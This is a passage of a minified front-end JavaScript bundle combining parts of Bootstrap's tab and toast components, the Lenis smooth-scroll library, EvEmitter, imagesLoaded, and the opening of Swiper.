e){if(void 0===t[e]||e.startsWith("_")||"constructor"===e)throw new TypeError(`No method named "${e}"`);t[e]()}}))}}I.on(window,mr,(()=>{for(const e of q.find('[data-bs-spy="scroll"]'))xr.getOrCreateInstance(e)})),m(xr);const Tr=".bs.tab",Er=`hide${Tr}`,Sr=`hidden${Tr}`,Cr=`show${Tr}`,Mr=`shown${Tr}`,kr=`click${Tr}`,Ar=`keydown${Tr}`,Or=`load${Tr}`,Pr="ArrowLeft",Lr="ArrowRight",Dr="ArrowUp",Ir="ArrowDown",zr="Home",Nr="End",Rr="active",Fr="show",jr=".dropdown-toggle",Hr=`:not(${jr})`,qr='[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',Br=`.nav-link${Hr}, .list-group-item${Hr}, [role="tab"]${Hr}, ${qr}`,Wr=`.${Rr}[data-bs-toggle="tab"], .${Rr}[data-bs-toggle="pill"], .${Rr}[data-bs-toggle="list"]`;class Xr extends j{constructor(e){super(e),this._parent=this._element.closest('.list-group, .nav, [role="tablist"]'),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),I.on(this._element,Ar,(e=>this._keydown(e))))}static get NAME(){return"tab"}show(){const e=this._element;if(this._elemIsActive(e))return;const t=this._getActiveElem(),n=t?I.trigger(t,Er,{relatedTarget:e}):null;I.trigger(e,Cr,{relatedTarget:t}).defaultPrevented||n&&n.defaultPrevented||(this._deactivate(t,e),this._activate(e,t))}_activate(e,t){e&&(e.classList.add(Rr),this._activate(q.getElementFromSelector(e)),this._queueCallback((()=>{"tab"===e.getAttribute("role")?(e.removeAttribute("tabindex"),e.setAttribute("aria-selected",!0),this._toggleDropDown(e,!0),I.trigger(e,Mr,{relatedTarget:t})):e.classList.add(Fr)}),e,e.classList.contains("fade")))}_deactivate(e,t){e&&(e.classList.remove(Rr),e.blur(),this._deactivate(q.getElementFromSelector(e)),this._queueCallback((()=>{"tab"===e.getAttribute("role")?(e.setAttribute("aria-selected",!1),e.setAttribute("tabindex","-1"),this._toggleDropDown(e,!1),I.trigger(e,Sr,{relatedTarget:t})):e.classList.remove(Fr)}),e,e.classList.contains("fade")))}_keydown(e){if(![Pr,Lr,Dr,Ir,zr,Nr].includes(e.key))return;e.stopPropagation(),e.preventDefault();const t=this._getChildren().filter((e=>!l(e)));let n;if([zr,Nr].includes(e.key))n=t[e.key===zr?0:t.length-1];else{const i=[Lr,Ir].includes(e.key);n=y(t,e.target,i,!0)}n&&(n.focus({preventScroll:!0}),Xr.getOrCreateInstance(n).show())}_getChildren(){return q.find(Br,this._parent)}_getActiveElem(){return this._getChildren().find((e=>this._elemIsActive(e)))||null}_setInitialAttributes(e,t){this._setAttributeIfNotExists(e,"role","tablist");for(const e of t)this._setInitialAttributesOnChild(e)}_setInitialAttributesOnChild(e){e=this._getInnerElement(e);const t=this._elemIsActive(e),n=this._getOuterElement(e);e.setAttribute("aria-selected",t),n!==e&&this._setAttributeIfNotExists(n,"role","presentation"),t||e.setAttribute("tabindex","-1"),this._setAttributeIfNotExists(e,"role","tab"),this._setInitialAttributesOnTargetPanel(e)}_setInitialAttributesOnTargetPanel(e){const t=q.getElementFromSelector(e);t&&(this._setAttributeIfNotExists(t,"role","tabpanel"),e.id&&this._setAttributeIfNotExists(t,"aria-labelledby",`${e.id}`))}_toggleDropDown(e,t){const n=this._getOuterElement(e);if(!n.classList.contains("dropdown"))return;const i=(e,i)=>{const r=q.findOne(e,n);r&&r.classList.toggle(i,t)};i(jr,Rr),i(".dropdown-menu",Fr),n.setAttribute("aria-expanded",t)}_setAttributeIfNotExists(e,t,n){e.hasAttribute(t)||e.setAttribute(t,n)}_elemIsActive(e){return e.classList.contains(Rr)}_getInnerElement(e){return e.matches(Br)?e:q.findOne(Br,e)}_getOuterElement(e){return e.closest(".nav-item, .list-group-item")||e}static jQueryInterface(e){return this.each((function(){const t=Xr.getOrCreateInstance(this);if("string"==typeof e){if(void 0===t[e]||e.startsWith("_")||"constructor"===e)throw new TypeError(`No method named "${e}"`);t[e]()}}))}}I.on(document,kr,qr,(function(e){["A","AREA"].includes(this.tagName)&&e.preventDefault(),l(this)||Xr.getOrCreateInstance(this).show()})),I.on(window,Or,(()=>{for(const e of q.find(Wr))Xr.getOrCreateInstance(e)})),m(Xr);const Yr=".bs.toast",Gr=`mouseover${Yr}`,Vr=`mouseout${Yr}`,Ur=`focusin${Yr}`,Zr=`focusout${Yr}`,Kr=`hide${Yr}`,Qr=`hidden${Yr}`,Jr=`show${Yr}`,es=`shown${Yr}`,ns="show",is="showing",rs={animation:"boolean",autohide:"boolean",delay:"number"},ss={animation:!0,autohide:!0,delay:5e3};class os extends j{constructor(e,t){super(e,t),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return ss}static get DefaultType(){return rs}static get NAME(){return"toast"}show(){I.trigger(this._element,Jr).defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove("hide"),d(this._element),this._element.classList.add(ns,is),this._queueCallback((()=>{this._element.classList.remove(is),I.trigger(this._element,es),this._maybeScheduleHide()}),this._element,this._config.animation))}hide(){this.isShown()&&(I.trigger(this._element,Kr).defaultPrevented||(this._element.classList.add(is),this._queueCallback((()=>{this._element.classList.add("hide"),this._element.classList.remove(is,ns),I.trigger(this._element,Qr)}),this._element,this._config.animation)))}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove(ns),super.dispose()}isShown(){return this._element.classList.contains(ns)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)))}_onInteraction(e,t){switch(e.type){case"mouseover":case"mouseout":this._hasMouseInteraction=t;break;case"focusin":case"focusout":this._hasKeyboardInteraction=t}if(t)return void this._clearTimeout();const n=e.relatedTarget;this._element===n||this._element.contains(n)||this._maybeScheduleHide()}_setListeners(){I.on(this._element,Gr,(e=>this._onInteraction(e,!0))),I.on(this._element,Vr,(e=>this._onInteraction(e,!1))),I.on(this._element,Ur,(e=>this._onInteraction(e,!0))),I.on(this._element,Zr,(e=>this._onInteraction(e,!1)))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(e){return this.each((function(){const t=os.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===t[e])throw new TypeError(`No method named "${e}"`);t[e](this)}}))}}return B(os),m(os),{Alert:G,Button:U,Carousel:Me,Collapse:He,Dropdown:Wn,Modal:Si,Offcanvas:Bi,Popover:dr,ScrollSpy:xr,Tab:Xr,Toast:os,Tooltip:lr}})),function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).Lenis=t()}(this,(function(){"use strict";function e(e,t,n){return Math.max(e,Math.min(t,n))}class t{advance(t){if(!this.isRunning)return;let n=!1;if(this.lerp)this.value=(i=this.value,r=this.to,s=60*this.lerp,o=t,function(e,t,n){return(1-n)*e+n*t}(i,r,1-Math.exp(-s*o))),Math.round(this.value)===this.to&&(this.value=this.to,n=!0);else{this.currentTime+=t;const i=e(0,this.currentTime/this.duration,1);n=i>=1;const r=n?1:this.easing(i);this.value=this.from+(this.to-this.from)*r}var i,r,s,o;this.onUpdate?.(this.value,n),n&&this.stop()}stop(){this.isRunning=!1}fromTo(e,t,{lerp:n=.1,duration:i=1,easing:r=(e=>e),onStart:s,onUpdate:o}){this.from=this.value=e,this.to=t,this.lerp=n,this.duration=i,this.easing=r,this.currentTime=0,this.isRunning=!0,s?.(),this.onUpdate=o}}class n{constructor({wrapper:e,content:t,autoResize:n=!0,debounce:i=250}={}){this.wrapper=e,this.content=t,n&&(this.debouncedResize=function(e,t){let n;return function(){let i=arguments,r=this;clearTimeout(n),n=setTimeout((function(){e.apply(r,i)}),t)}}(this.resize,i),this.wrapper===window?window.addEventListener("resize",this.debouncedResize,!1):(this.wrapperResizeObserver=new ResizeObserver(this.debouncedResize),this.wrapperResizeObserver.observe(this.wrapper)),this.contentResizeObserver=new ResizeObserver(this.debouncedResize),this.contentResizeObserver.observe(this.content)),this.resize()}destroy(){this.wrapperResizeObserver?.disconnect(),this.contentResizeObserver?.disconnect(),window.removeEventListener("resize",this.debouncedResize,!1)}resize=()=>{this.onWrapperResize(),this.onContentResize()};onWrapperResize=()=>{this.wrapper===window?(this.width=window.innerWidth,this.height=window.innerHeight):(this.width=this.wrapper.clientWidth,this.height=this.wrapper.clientHeight)};onContentResize=()=>{this.wrapper===window?(this.scrollHeight=this.content.scrollHeight,this.scrollWidth=this.content.scrollWidth):(this.scrollHeight=this.wrapper.scrollHeight,this.scrollWidth=this.wrapper.scrollWidth)};get limit(){return{x:this.scrollWidth-this.width,y:this.scrollHeight-this.height}}}class i{constructor(){this.events={}}emit(e,...t){let n=this.events[e]||[];for(let e=0,i=n.length;e<i;e++)n[e](...t)}on(e,t){return this.events[e]?.push(t)||(this.events[e]=[t]),()=>{this.events[e]=this.events[e]?.filter((e=>t!==e))}}off(e,t){this.events[e]=this.events[e]?.filter((e=>t!==e))}destroy(){this.events={}}}class r{constructor(e,{wheelMultiplier:t=1,touchMultiplier:n=2,normalizeWheel:r=!1}){this.element=e,this.wheelMultiplier=t,this.touchMultiplier=n,this.normalizeWheel=r,this.touchStart={x:null,y:null},this.emitter=new i,this.element.addEventListener("wheel",this.onWheel,{passive:!1}),this.element.addEventListener("touchstart",this.onTouchStart,{passive:!1}),this.element.addEventListener("touchmove",this.onTouchMove,{passive:!1}),this.element.addEventListener("touchend",this.onTouchEnd,{passive:!1})}on(e,t){return this.emitter.on(e,t)}destroy(){this.emitter.destroy(),this.element.removeEventListener("wheel",this.onWheel,{passive:!1}),this.element.removeEventListener("touchstart",this.onTouchStart,{passive:!1}),this.element.removeEventListener("touchmove",this.onTouchMove,{passive:!1}),this.element.removeEventListener("touchend",this.onTouchEnd,{passive:!1})}onTouchStart=e=>{const{clientX:t,clientY:n}=e.targetTouches?e.targetTouches[0]:e;this.touchStart.x=t,this.touchStart.y=n,this.lastDelta={x:0,y:0},this.emitter.emit("scroll",{deltaX:0,deltaY:0,event:e})};onTouchMove=e=>{const{clientX:t,clientY:n}=e.targetTouches?e.targetTouches[0]:e,i=-(t-this.touchStart.x)*this.touchMultiplier,r=-(n-this.touchStart.y)*this.touchMultiplier;this.touchStart.x=t,this.touchStart.y=n,this.lastDelta={x:i,y:r},this.emitter.emit("scroll",{deltaX:i,deltaY:r,event:e})};onTouchEnd=e=>{this.emitter.emit("scroll",{deltaX:this.lastDelta.x,deltaY:this.lastDelta.y,event:e})};onWheel=t=>{let{deltaX:n,deltaY:i}=t;this.normalizeWheel&&(n=e(-100,n,100),i=e(-100,i,100)),n*=this.wheelMultiplier,i*=this.wheelMultiplier,this.emitter.emit("scroll",{deltaX:n,deltaY:i,event:t})}}return class{constructor({wrapper:e=window,content:s=document.documentElement,wheelEventsTarget:o=e,eventsTarget:a=o,smoothWheel:l=!0,syncTouch:c=!1,syncTouchLerp:u=.075,touchInertiaMultiplier:d=35,duration:p,easing:h=(e=>Math.min(1,1.001-Math.pow(2,-10*e))),lerp:f=!p&&.1,infinite:m=!1,orientation:g="vertical",gestureOrientation:v="vertical",touchMultiplier:y=1,wheelMultiplier:b=1,normalizeWheel:w=!1,autoResize:_=!0,__experimental__naiveDimensions:x=!1}={}){this.__isSmooth=!1,this.__isScrolling=!1,this.__isStopped=!1,this.__isLocked=!1,this.onVirtualScroll=({deltaX:e,deltaY:t,event:n})=>{if(n.ctrlKey)return;const i=n.type.includes("touch"),r=n.type.includes("wheel");if(this.options.syncTouch&&i&&"touchstart"===n.type)return void this.reset();const s=0===e&&0===t,o="vertical"===this.options.gestureOrientation&&0===t||"horizontal"===this.options.gestureOrientation&&0===e;if(s||o)return;let a=n.composedPath();if(a=a.slice(0,a.indexOf(this.rootElement)),a.find((e=>{var t,n,s,o,a;return(null===(t=e.hasAttribute)||void 0===t?void 0:t.call(e,"data-lenis-prevent"))||i&&(null===(n=e.hasAttribute)||void 0===n?void 0:n.call(e,"data-lenis-prevent-touch"))||r&&(null===(s=e.hasAttribute)||void 0===s?void 0:s.call(e,"data-lenis-prevent-wheel"))||(null===(o=e.classList)||void 0===o?void 0:o.contains("lenis"))&&!(null===(a=e.classList)||void 0===a?void 0:a.contains("lenis-stopped"))})))return;if(this.isStopped||this.isLocked)return void n.preventDefault();if(this.isSmooth=this.options.syncTouch&&i||this.options.smoothWheel&&r,!this.isSmooth)return this.isScrolling=!1,void this.animate.stop();n.preventDefault();let l=t;"both"===this.options.gestureOrientation?l=Math.abs(t)>Math.abs(e)?t:e:"horizontal"===this.options.gestureOrientation&&(l=e);const c=i&&this.options.syncTouch,u=i&&"touchend"===n.type&&Math.abs(l)>5;u&&(l=this.velocity*this.options.touchInertiaMultiplier),this.scrollTo(this.targetScroll+l,Object.assign({programmatic:!1},c?{lerp:u?this.options.syncTouchLerp:1}:{lerp:this.options.lerp,duration:this.options.duration,easing:this.options.easing}))},this.onNativeScroll=()=>{if(!this.__preventNextScrollEvent&&!this.isScrolling){const e=this.animatedScroll;this.animatedScroll=this.targetScroll=this.actualScroll,this.velocity=0,this.direction=Math.sign(this.animatedScroll-e),this.emit()}},window.lenisVersion="1.0.39",e!==document.documentElement&&e!==document.body||(e=window),this.options={wrapper:e,content:s,wheelEventsTarget:o,eventsTarget:a,smoothWheel:l,syncTouch:c,syncTouchLerp:u,touchInertiaMultiplier:d,duration:p,easing:h,lerp:f,infinite:m,gestureOrientation:v,orientation:g,touchMultiplier:y,wheelMultiplier:b,normalizeWheel:w,autoResize:_,__experimental__naiveDimensions:x},this.animate=new t,this.emitter=new i,this.dimensions=new n({wrapper:e,content:s,autoResize:_}),this.toggleClassName("lenis",!0),this.velocity=0,this.isLocked=!1,this.isStopped=!1,this.isSmooth=c||l,this.isScrolling=!1,this.targetScroll=this.animatedScroll=this.actualScroll,this.options.wrapper.addEventListener("scroll",this.onNativeScroll,{passive:!1}),this.virtualScroll=new r(a,{touchMultiplier:y,wheelMultiplier:b,normalizeWheel:w}),this.virtualScroll.on("scroll",this.onVirtualScroll)}destroy(){this.emitter.destroy(),this.options.wrapper.removeEventListener("scroll",this.onNativeScroll,{passive:!1}),this.virtualScroll.destroy(),this.dimensions.destroy(),this.toggleClassName("lenis",!1),this.toggleClassName("lenis-smooth",!1),this.toggleClassName("lenis-scrolling",!1),this.toggleClassName("lenis-stopped",!1),this.toggleClassName("lenis-locked",!1)}on(e,t){return this.emitter.on(e,t)}off(e,t){return this.emitter.off(e,t)}setScroll(e){this.isHorizontal?this.rootElement.scrollLeft=e:this.rootElement.scrollTop=e}resize(){this.dimensions.resize()}emit(){this.emitter.emit("scroll",this)}reset(){this.isLocked=!1,this.isScrolling=!1,this.animatedScroll=this.targetScroll=this.actualScroll,this.velocity=0,this.animate.stop()}start(){this.isStopped&&(this.isStopped=!1,this.reset())}stop(){this.isStopped||(this.isStopped=!0,this.animate.stop(),this.reset())}raf(e){const t=e-(this.time||e);this.time=e,this.animate.advance(.001*t)}scrollTo(t,{offset:n=0,immediate:i=!1,lock:r=!1,duration:s=this.options.duration,easing:o=this.options.easing,lerp:a=!s&&this.options.lerp,onComplete:l,force:c=!1,programmatic:u=!0}={}){if(!this.isStopped&&!this.isLocked||c){if(["top","left","start"].includes(t))t=0;else if(["bottom","right","end"].includes(t))t=this.limit;else{let e;if("string"==typeof t?e=document.querySelector(t):(null==t?void 0:t.nodeType)&&(e=t),e){if(this.options.wrapper!==window){const e=this.options.wrapper.getBoundingClientRect();n-=this.isHorizontal?e.left:e.top}const i=e.getBoundingClientRect();t=(this.isHorizontal?i.left:i.top)+this.animatedScroll}}if("number"==typeof t){if(t+=n,t=Math.round(t),this.options.infinite?u&&(this.targetScroll=this.animatedScroll=this.scroll):t=e(0,t,this.limit),i)return this.animatedScroll=this.targetScroll=t,this.setScroll(this.scroll),this.reset(),void(null==l||l(this));if(!u){if(t===this.targetScroll)return;this.targetScroll=t}this.animate.fromTo(this.animatedScroll,t,{duration:s,easing:o,lerp:a,onStart:()=>{r&&(this.isLocked=!0),this.isScrolling=!0},onUpdate:(e,t)=>{this.isScrolling=!0,this.velocity=e-this.animatedScroll,this.direction=Math.sign(this.velocity),this.animatedScroll=e,this.setScroll(this.scroll),u&&(this.targetScroll=e),t||this.emit(),t&&(this.reset(),this.emit(),null==l||l(this),this.__preventNextScrollEvent=!0,requestAnimationFrame((()=>{delete this.__preventNextScrollEvent})))}})}}}get rootElement(){return this.options.wrapper===window?document.documentElement:this.options.wrapper}get limit(){return this.options.__experimental__naiveDimensions?this.isHorizontal?this.rootElement.scrollWidth-this.rootElement.clientWidth:this.rootElement.scrollHeight-this.rootElement.clientHeight:this.dimensions.limit[this.isHorizontal?"x":"y"]}get isHorizontal(){return"horizontal"===this.options.orientation}get actualScroll(){return this.isHorizontal?this.rootElement.scrollLeft:this.rootElement.scrollTop}get scroll(){return this.options.infinite?(this.animatedScroll%(e=this.limit)+e)%e:this.animatedScroll;var e}get progress(){return 0===this.limit?1:this.scroll/this.limit}get isSmooth(){return this.__isSmooth}set isSmooth(e){this.__isSmooth!==e&&(this.__isSmooth=e,this.toggleClassName("lenis-smooth",e))}get isScrolling(){return this.__isScrolling}set isScrolling(e){this.__isScrolling!==e&&(this.__isScrolling=e,this.toggleClassName("lenis-scrolling",e))}get isStopped(){return this.__isStopped}set isStopped(e){this.__isStopped!==e&&(this.__isStopped=e,this.toggleClassName("lenis-stopped",e))}get isLocked(){return this.__isLocked}set isLocked(e){this.__isLocked!==e&&(this.__isLocked=e,this.toggleClassName("lenis-locked",e))}get className(){let e="lenis";return this.isStopped&&(e+=" lenis-stopped"),this.isLocked&&(e+=" lenis-locked"),this.isScrolling&&(e+=" lenis-scrolling"),this.isSmooth&&(e+=" lenis-smooth"),e}toggleClassName(e,t){this.rootElement.classList.toggle(e,t),this.emitter.emit("className change",this)}}})),function(e,t){"object"==typeof module&&module.exports?module.exports=t():e.EvEmitter=t()}("undefined"!=typeof window?window:this,(function(){function e(){}let t=e.prototype;return t.on=function(e,t){if(!e||!t)return this;let n=this._events=this._events||{},i=n[e]=n[e]||[];return i.includes(t)||i.push(t),this},t.once=function(e,t){if(!e||!t)return this;this.on(e,t);let n=this._onceEvents=this._onceEvents||{};return(n[e]=n[e]||{})[t]=!0,this},t.off=function(e,t){let n=this._events&&this._events[e];if(!n||!n.length)return this;let i=n.indexOf(t);return-1!=i&&n.splice(i,1),this},t.emitEvent=function(e,t){let n=this._events&&this._events[e];if(!n||!n.length)return this;n=n.slice(0),t=t||[];let i=this._onceEvents&&this._onceEvents[e];for(let r of n)i&&i[r]&&(this.off(e,r),delete i[r]),r.apply(this,t);return this},t.allOff=function(){return delete this._events,delete this._onceEvents,this},e})),function(e,t){"object"==typeof module&&module.exports?module.exports=t(e,require("ev-emitter")):e.imagesLoaded=t(e,e.EvEmitter)}("undefined"!=typeof window?window:this,(function(e,t){let n=e.jQuery,i=e.console;function r(e,t,s){if(!(this instanceof r))return new r(e,t,s);let o=e;var a;"string"==typeof e&&(o=document.querySelectorAll(e)),o?(this.elements=(a=o,Array.isArray(a)?a:"object"==typeof a&&"number"==typeof a.length?[...a]:[a]),this.options={},"function"==typeof t?s=t:Object.assign(this.options,t),s&&this.on("always",s),this.getImages(),n&&(this.jqDeferred=new n.Deferred),setTimeout(this.check.bind(this))):i.error(`Bad element for imagesLoaded ${o||e}`)}r.prototype=Object.create(t.prototype),r.prototype.getImages=function(){this.images=[],this.elements.forEach(this.addElementImages,this)};const s=[1,9,11];r.prototype.addElementImages=function(e){"IMG"===e.nodeName&&this.addImage(e),!0===this.options.background&&this.addElementBackgroundImages(e);let{nodeType:t}=e;if(!t||!s.includes(t))return;let n=e.querySelectorAll("img");for(let e of n)this.addImage(e);if("string"==typeof this.options.background){let t=e.querySelectorAll(this.options.background);for(let e of t)this.addElementBackgroundImages(e)}};const o=/url\((['"])?(.*?)\1\)/gi;function a(e){this.img=e}function l(e,t){this.url=e,this.element=t,this.img=new Image}return r.prototype.addElementBackgroundImages=function(e){let t=getComputedStyle(e);if(!t)return;let n=o.exec(t.backgroundImage);for(;null!==n;){let i=n&&n[2];i&&this.addBackground(i,e),n=o.exec(t.backgroundImage)}},r.prototype.addImage=function(e){let t=new a(e);this.images.push(t)},r.prototype.addBackground=function(e,t){let n=new l(e,t);this.images.push(n)},r.prototype.check=function(){if(this.progressedCount=0,this.hasAnyBroken=!1,!this.images.length)return void this.complete();let e=(e,t,n)=>{setTimeout((()=>{this.progress(e,t,n)}))};this.images.forEach((function(t){t.once("progress",e),t.check()}))},r.prototype.progress=function(e,t,n){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded,this.emitEvent("progress",[this,e,t]),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,e),this.progressedCount===this.images.length&&this.complete(),this.options.debug&&i&&i.log(`progress: ${n}`,e,t)},r.prototype.complete=function(){let e=this.hasAnyBroken?"fail":"done";if(this.isComplete=!0,this.emitEvent(e,[this]),this.emitEvent("always",[this]),this.jqDeferred){let e=this.hasAnyBroken?"reject":"resolve";this.jqDeferred[e](this)}},a.prototype=Object.create(t.prototype),a.prototype.check=function(){this.getIsImageComplete()?this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,this.img.crossOrigin&&(this.proxyImage.crossOrigin=this.img.crossOrigin),this.proxyImage.addEventListener("load",this),this.proxyImage.addEventListener("error",this),this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.proxyImage.src=this.img.currentSrc||this.img.src)},a.prototype.getIsImageComplete=function(){return this.img.complete&&this.img.naturalWidth},a.prototype.confirm=function(e,t){this.isLoaded=e;let{parentNode:n}=this.img,i="PICTURE"===n.nodeName?n:this.img;this.emitEvent("progress",[this,i,t])},a.prototype.handleEvent=function(e){let t="on"+e.type;this[t]&&this[t](e)},a.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},a.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},a.prototype.unbindEvents=function(){this.proxyImage.removeEventListener("load",this),this.proxyImage.removeEventListener("error",this),this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},l.prototype=Object.create(a.prototype),l.prototype.check=function(){this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.img.src=this.url,this.getIsImageComplete()&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},l.prototype.unbindEvents=function(){this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},l.prototype.confirm=function(e,t){this.isLoaded=e,this.emitEvent("progress",[this,this.element,t])},r.makeJQueryPlugin=function(t){(t=t||e.jQuery)&&(n=t,n.fn.imagesLoaded=function(e,t){return new r(this,e,t).jqDeferred.promise(n(this))})},r.makeJQueryPlugin(),r}));var Swiper=function(){"use strict";function e(e){return null!==e&&"object"==typeof e&&"constructor"in e&&e.constructor===Object}function t(n,i){void 0===n&&(n={}),void 0===i&&(i={}),Object.keys(i).forEach((r=>{void 0===n[r]?n[r]=i[r]:e(i[r])&&e(n[r])&&Object.keys(i[r]).length>0&&t(n[r],i[r])}))}const n={body:{},addEventListener(){},removeEventListener(){},activeElement:{blur(){},nodeName:""},querySelector:()=>null,querySelectorAll:()=>[],getElementById:()=>null,createEvent:()=>({initEvent(){}}),createElement:()=>({children:[],childNodes:[],style:{},setAttribute(){},getElementsByTagName:()=>[]}),createElementNS:()=>({}),importNode:()=>null,location:{hash:"",host:"",hostname:"",href:"",origin:"",pathname:"",protocol:"",search:""}};function i(){const e="undefined"!=typeof document?document:{};return t(e,n),e}const r={document:n,navigator:{userAgent:""},location:{hash:"",host:"",hostname:"",href:"",origin:"",pathname:"",protocol:"",search:""},history:{replaceState(){},pushState(){},go(){},back(){}},CustomEvent:function(){return this},addEventListener(){},removeEventListener(){},getComputedStyle:()=>({getPropertyValue:()=>""}),Image(){},Date(){},screen:{},setTimeout(){},clearTimeout(){},matchMedia:()=>({}),requestAnimationFrame:e=>"undefined"==typeof setTimeout?(e(),null):setTimeout(e,0),cancelAnimationFrame(e){"undefined"!=typeof setTimeout&&clearTimeout(e)}};function s(){const e="undefined"!=typeof window?window:{};return t(e,r),e}function o(e){return void 0===e&&(e=""),e.trim().split(" ").filter((e=>!!e.trim()))}function a(e,t){return void 0===t&&(t=0),setTimeout(e,t)}function l(){return Date.now()}function c(e,t){void 0===t&&(t="x");const n=s();let i,r,o;const a=function(e){const t=s();let n;return t.getComputedStyle&&(n=t.getComputedStyle(e,null)),!n&&e.currentStyle&&(n=e.currentStyle),n||(n=e.style),n}(e);return n.WebKitCSSMatrix?(r=a.transform||a.webkitTransform,r.split(",").length>6&&(r=r.split(", ").map((e=>e.replace(",","."))).join(", ")),o=new n.WebKitCSSMatrix("none"===r?"":r)):(o=a.MozTransform||a.OTransform||a.MsTransform||a.msTransform||a.transform||a.getPropertyValue("transform").replace("translate(","matrix(1, 0, 0, 1,"),i=o.toString().split(",")),"x"===t&&(r=n.WebKitCSSMatrix?o.m41:16===i.length?parseFloat(i[12]):parseFloat(i[4])),"y"===t&&(r=n.WebKitCSSMatrix?o.m42:16===i.length?parseFloat(i[13]):parseFloat(i[5])),r||0}function u(e){return"object"==typeof e&&null!==e&&e.constructor&&"Object"===Object.prototype.toString.call(e).slice(8,-1)}function d(){const e=Object(arguments.length<=0?void 0:arguments[0]),t=["__proto__","constructor","prototype"];for(let i=1;i<arguments.length;i+=1){const r=i<0||arguments.length<=i?void 0:arguments[i];if(null!=r&&(n=r,!("undefined"!=typeof window&&void 0!==window.HTMLElement?n instanceof HTMLElement:n&&(1===n.nodeType||11===n.nodeType)))){const n=Object.keys(Object(r)).filter((e=>t.indexOf(e)<0));for(let t=0,i=n.length;t<i;t+=1){const i=n[t],s=Object.getOwnPropertyDescriptor(r,i);void 0!==s&&s.enumerable&&(u(e[i])&&u(r[i])?r[i].__swiper__?e[i]=r[i]:d(e[i],r[i]):!u(e[i])&&u(r[i])?(e[i]={},r[i].__swiper__?e[i]=r[i]:d(e[i],r[i])):e[i]=r[i])}}}var n;return e}function p(e,t,n){e.style.setProperty(t,n)}function h(e){let{swiper:t,targetPosition:n,side:i}=e;const r=s(),o=-t.translate;let a,l=null;const c=t.params.speed;t.wrapperEl.style.scrollSnapType="none",r.cancelAnimationFrame(t.cssModeFrameID);const u=n>o?"next":"prev",d=(e,t)=>"next"===u&&e>=t||"prev"===u&&e<=t,p=()=>{a=(new Date).getTime(),null===l&&(l=a);const e=Math.max(Math.min((a-l)/c,1),0),s=.5-Math.cos(e*Math.PI)/2;let u=o+s*(n-o);if(d(u,n)&&(u=n),t.wrapperEl.scrollTo({[i]:u}),d(u,n))return t.wrapperEl.style.overflow="hidden",t.wrapperEl.style.scrollSnapType="",setTimeout((()=>{t.wrapperEl.style.overflow="",t.wrapperEl.scrollTo({[i]:u})})),void r.cancelAnimationFrame(t.cssModeFrameID);t.cssModeFrameID=r.requestAnimationFrame(p)};p()}function f(e){return e.querySelector(".swiper-slide-transform")||e.shadowRoot&&e.shadowRoot.querySelector(".swiper-slide-transform")||e}function m(e,t){return void 0===t&&(t=""),[...e.children].filter((e=>e.matches(t)))}function g(e){try{return void console.warn(e)}catch(e){}}function v(e,t){void 0===t&&(t=[]);const n=document.createElement(e);return n.classList.add(...Array.isArray(t)?t:o(t)),n}function y(e){const t=s(),n=i(),r=e.getBoundingClientRect(),o=n.body,a=e.clientTop||o.clientTop||0,l=e.clientLeft||o.clientLeft||0,c=e===t?t.scrollY:e.scrollTop,u=e===t?t.scrollX:e.scrollLeft;return{top:r.top+c-a,left:r.left+u-l}}function b(e,t){return s().getComputedStyle(e,null).getPropertyValue(t)}function w(e){let t,n=e;if(n){for(t=0;null!==(n=n.previousSibling);)1===n.nodeType&&(t+=1);return t}}function _(e,t){const n=[];let i=e.parentElement;for(;i;)t?i.matches(t)&&n.push(i):n.push(i),i=i.parentElement;return n}function x(e,t){t&&e.addEventListener("transitionend",(function n(i){i.target===e&&(t.call(e,i),e.removeEventListener("transitionend",n))}))}function T(e,t,n){const i=s();return n?e["width"===t?"offsetWidth":"offsetHeight"]+parseFloat(i.getComputedStyle(e,null).getPropertyValue("width"===t?"margin-right":"margin-top"))+parseFloat(i.getComputedStyle(e,null).getPropertyValue("width"===t?"margin-left":"margin-bottom")):e.offsetWidth}let E,S,C;function M(){return E||(E=function(){const e=s(),t=i();return{smoothScroll:t.documentElement&&t.documentElement.style&&"scrollBehavior"in t.documentElement.style,touch:!!("ontouchstart"in e||e.DocumentTouch&&t instanceof e.DocumentTouch)}}()),E}function k(e){return void 0===e&&(e={}),S||(S=function(e){let{userAgent:t}=void 0===e?{}:e;const n=M(),i=s(),r=i.navigator.platform,o=t||i.navigator.userAgent,a={ios:!1,android:!1},l=i.screen.width,c=i.screen.height,u=o.match(/(Android);?[\s\/]+([\d.]+)?/);let d=o.match(/(iPad).*OS\s([\d_]+)/);const p=o.match(/(iPod)(.*OS\s([\d_]+))?/),h=!d&&o.match(/(iPhone\sOS|iOS)\s([\d_]+)/),f="Win32"===r;let m="MacIntel"===r;return!d&&m&&n.touch&&["1024x1366","1366x1024","834x1194","1194x834","834x1112","1112x834","768x1024","1024x768","820x1180","1180x820","810x1080","1080x810"].indexOf(`${l}x${c}`)>=0&&(d=o.match(/(Version)\/([\d.]+)/),d||(d=[0,1,"13_0_0"]),m=!1),u&&!f&&(a.os="android",a.android=!0),(d||h||p)&&(a.os="ios",a.ios=!0),a}(e)),S}function A(){return C||(C=function(){const e=s();let t=!1;function n(){const 